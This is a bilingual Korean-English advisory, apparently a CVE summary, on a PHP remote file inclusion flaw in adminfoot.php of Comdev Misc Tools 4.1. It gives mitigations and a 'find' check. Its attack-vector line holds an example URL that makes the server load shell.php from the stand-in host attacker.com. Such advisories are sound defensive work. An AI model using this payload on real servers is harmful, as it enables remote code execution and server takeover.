🇰🇷 한글 설명
register_globals가 활성화된 환경에서 Comdev Misc Tools 4.1의 adminfoot.php 파일이 path[docroot] 매개변수를 제대로 검증하지 않아 발생하는 취약점입니다. 공격자는 원격 URL을 통해 악의적인 PHP 파일을 로드하고 서버에서 임의의 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹 서버가 자신의 파일 경로 설정을 확인하지 않아서 공격자가 인터넷의 악성 파일을 실행하도록 강제할 수 있는 결함입니다. 이를 통해 해커가 서버를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in adminfoot.php in Comdev Misc Tools 4.1, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the path[docroot] parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information.
📍 영향받는 시스템
Comdev Misc Tools 4.1 (PHP 5.x 이전, register_globals 활성화된 환경)
⚔️ 공격 벡터
adminfoot.php?path[docroot]=http://attacker.com/shell.php 형태의 URL 매개변수 조작으로 원격 PHP 파일 포함 및 실행
🛡️ 대응 방법
Comdev Misc Tools를 최신 버전으로 업데이트하거나 php.ini에서 register_globals를 Off로 설정하고 입력값 검증 추가
🔧 검증 코드
파일이 발견되면 해당 설치본이 존재하며 취약점 확인 필요, 발견 안 되면 설치 안 됨 또는 이미 제거됨
find / -name 'adminfoot.php' -type f 2>/dev/null | head -1